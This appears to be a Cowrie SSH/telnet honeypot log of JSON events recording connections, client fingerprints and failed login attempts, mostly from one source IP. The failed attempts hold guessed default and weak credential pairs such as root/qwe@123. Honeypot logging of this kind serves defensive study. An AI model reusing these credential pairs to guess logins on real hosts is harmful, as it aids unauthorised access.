{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:19.623950Z","src_ip":"192.109.200.78","session":"5ae6974a43dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz!QAZ","message":"login attempt [root/1qaz!QAZ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:19.866128Z","src_ip":"192.109.200.78","session":"5ae6974a43dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":60628,"dst_ip":"159.203.135.109","dst_port":23,"session":"df2d142c2cfa","protocol":"telnet","message":"New connection: 172.81.62.90:60628 (159.203.135.109:23) [session: df2d142c2cfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:20.575094Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:20.948757Z","src_ip":"192.109.200.78","session":"5ae6974a43dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":53852,"dst_ip":"10.17.0.5","dst_port":22,"session":"3a45dd6afa76","protocol":"ssh","message":"New connection: 192.109.200.78:53852 (10.17.0.5:22) [session: 3a45dd6afa76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:22.860712Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:22.867356Z","src_ip":"192.109.200.78","session":"3a45dd6afa76","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:22.948236Z","src_ip":"192.109.200.78","session":"3a45dd6afa76","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe@123","message":"login attempt [root/qwe@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:23.439070Z","src_ip":"192.109.200.78","session":"3a45dd6afa76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:24.523165Z","src_ip":"192.109.200.78","session":"3a45dd6afa76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":53858,"dst_ip":"10.17.0.5","dst_port":22,"session":"f02c36a749f8","protocol":"ssh","message":"New connection: 192.109.200.78:53858 (10.17.0.5:22) [session: f02c36a749f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:26.589392Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:26.593288Z","src_ip":"192.109.200.78","session":"f02c36a749f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:26.673673Z","src_ip":"192.109.200.78","session":"f02c36a749f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webuser","password":"webuser","message":"login attempt [webuser/webuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:26.918223Z","src_ip":"192.109.200.78","session":"f02c36a749f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:28.002935Z","src_ip":"192.109.200.78","session":"f02c36a749f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":53870,"dst_ip":"10.17.0.5","dst_port":22,"session":"10adeba8f5d5","protocol":"ssh","message":"New connection: 192.109.200.78:53870 (10.17.0.5:22) [session: 10adeba8f5d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:29.988291Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:29.993758Z","src_ip":"192.109.200.78","session":"10adeba8f5d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:30.074150Z","src_ip":"192.109.200.78","session":"10adeba8f5d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"a","password":"a","message":"login attempt [a/a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:30.324106Z","src_ip":"192.109.200.78","session":"10adeba8f5d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.0347843170166,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:31.012743Z","src_ip":"172.81.62.90","session":"535925d653c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:31.406848Z","src_ip":"192.109.200.78","session":"10adeba8f5d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":53260,"dst_ip":"10.17.0.5","dst_port":22,"session":"9415fe0e2b38","protocol":"ssh","message":"New connection: 192.109.200.78:53260 (10.17.0.5:22) [session: 9415fe0e2b38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:33.682476Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:33.686188Z","src_ip":"192.109.200.78","session":"9415fe0e2b38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:33.766820Z","src_ip":"192.109.200.78","session":"9415fe0e2b38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chris","password":"123456","message":"login attempt [chris/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:34.010472Z","src_ip":"192.109.200.78","session":"9415fe0e2b38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:35.096611Z","src_ip":"192.109.200.78","session":"9415fe0e2b38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.249650955200195,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:35.246931Z","src_ip":"172.81.62.90","session":"db6f92ee37f4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.209.251","src_port":28259,"dst_ip":"10.17.0.5","dst_port":22,"session":"898ffe6da4ac","protocol":"ssh","message":"New connection: 193.32.209.251:28259 (10.17.0.5:22) [session: 898ffe6da4ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:36.914985Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:36.990113Z","src_ip":"193.32.209.251","session":"898ffe6da4ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":53264,"dst_ip":"10.17.0.5","dst_port":22,"session":"588b4a3a4854","protocol":"ssh","message":"New connection: 192.109.200.78:53264 (10.17.0.5:22) [session: 588b4a3a4854]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:37.071281Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:37.075900Z","src_ip":"192.109.200.78","session":"588b4a3a4854","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:37.157274Z","src_ip":"192.109.200.78","session":"588b4a3a4854","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":57110,"dst_ip":"10.17.0.5","dst_port":22,"session":"fb3f7e4916d5","protocol":"ssh","message":"New connection: 27.71.230.31:57110 (10.17.0.5:22) [session: fb3f7e4916d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:37.715139Z"}
{"eventid":"cowrie.login.failed","username":"azureuser","password":"root","message":"login attempt [azureuser/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:37.723086Z","src_ip":"192.109.200.78","session":"588b4a3a4854","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:37.727215Z","src_ip":"27.71.230.31","session":"fb3f7e4916d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:38.807849Z","src_ip":"192.109.200.78","session":"588b4a3a4854","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:38.838100Z","src_ip":"27.71.230.31","session":"fb3f7e4916d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"User2024","message":"login attempt [root/User2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:40.597645Z","src_ip":"27.71.230.31","session":"fb3f7e4916d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":53272,"dst_ip":"10.17.0.5","dst_port":22,"session":"b94d3e203848","protocol":"ssh","message":"New connection: 192.109.200.78:53272 (10.17.0.5:22) [session: b94d3e203848]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:40.685482Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:40.689098Z","src_ip":"192.109.200.78","session":"b94d3e203848","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:40.769650Z","src_ip":"192.109.200.78","session":"b94d3e203848","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user10","password":"user10","message":"login attempt [user10/user10] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:41.015858Z","src_ip":"192.109.200.78","session":"b94d3e203848","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:41.972399Z","src_ip":"27.71.230.31","session":"fb3f7e4916d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:42.099576Z","src_ip":"192.109.200.78","session":"b94d3e203848","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":34996,"dst_ip":"10.17.0.5","dst_port":22,"session":"5b46ea257642","protocol":"ssh","message":"New connection: 192.109.200.78:34996 (10.17.0.5:22) [session: 5b46ea257642]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:44.001326Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:44.005851Z","src_ip":"192.109.200.78","session":"5b46ea257642","protocol":"ssh"}
